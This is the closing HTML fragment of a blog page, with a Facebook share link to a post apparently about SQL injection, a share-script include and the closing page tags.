          <a class="share-item" href="https://www.facebook.com/sharer.php?u=https://ghostasky.github.io/2020/11/19/SQL%E6%B3%A8%E5%85%A5%E5%B0%8F%E7%BB%93/" target="_blank" title="Facebook">
            <i class="iconfont icon-facebooksquare"></i>
          </a>
        
      </div>
    </div>
  
  
<script src="/js/shares.js"></script>



      </div>
    </div>
  </body>
</html>
